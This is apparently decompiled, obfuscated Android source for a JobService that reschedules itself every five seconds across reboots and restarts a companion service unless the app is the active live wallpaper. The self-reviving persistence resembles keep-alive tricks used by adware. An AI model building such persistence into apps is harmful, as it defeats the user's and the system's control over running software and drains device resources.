package com.register;

import android.app.WallpaperInfo;
import android.app.WallpaperManager;
import android.app.job.JobInfo;
import android.app.job.JobParameters;
import android.app.job.JobScheduler;
import android.app.job.JobService;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;

import androidx.annotation.RequiresApi;

import java.util.concurrent.TimeUnit;

@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
public class DJobService extends JobService {

    public static int d_extends = 1000;
    public static long d_synchronized;

    static {
        DJobService.d_synchronized = TimeUnit.SECONDS.toMillis(5L);
    }

    public static boolean wallionfo(Context arg1) {
        WallpaperInfo v0 = WallpaperManager.getInstance(arg1).getWallpaperInfo();
        return v0 == null || !v0.getPackageName().equals(arg1.getPackageName()) ? false : true;
    }

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    public static void d_float(Context arg5) {
        if (wallionfo(arg5)) {
            return;
        }

        JobScheduler v0 = (JobScheduler) arg5.getSystemService(Context.JOB_SCHEDULER_SERVICE);
        if (v0 != null) {
            JobInfo.Builder v5 = new JobInfo.Builder(1000, new ComponentName(arg5, DJobService.class)).setPersisted(true);
            if (Build.VERSION.SDK_INT < 24) {
                v5.setPeriodic(DJobService.d_synchronized);
            } else {
                v5.setMinimumLatency(DJobService.d_synchronized);
            }

            if (v0 != null) {
                try {
                    v0.schedule(v5.build());
                } catch (Throwable unused_ex) {
                }
            }
        }
    }

    @Override  // android.app.Service
    public void onCreate() {
        super.onCreate();
    }

    @Override  // android.app.Service
    public void onDestroy() {
        super.onDestroy();
    }

    @Override  // android.app.Service
    public int onStartCommand(Intent arg1, int arg2, int arg3) {
        super.onStartCommand(arg1, arg2, arg3);
        return 1;
    }

    @Override  // android.app.job.JobService
    public boolean onStartJob(JobParameters arg2) {
        if (Build.VERSION.SDK_INT >= 24) {
            DJobService.d_float(this.getApplicationContext());
        }

        CoS.startService(this.getApplicationContext());
        return false;
    }

    @Override  // android.app.job.JobService
    public boolean onStopJob(JobParameters arg1) {
        return false;
    }

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    public static void d_package(Context arg1) {
        JobScheduler v1 = (JobScheduler) arg1.getSystemService(Context.JOB_SCHEDULER_SERVICE);
        if (v1 != null) {
            v1.cancel(1000);
        }
    }

}
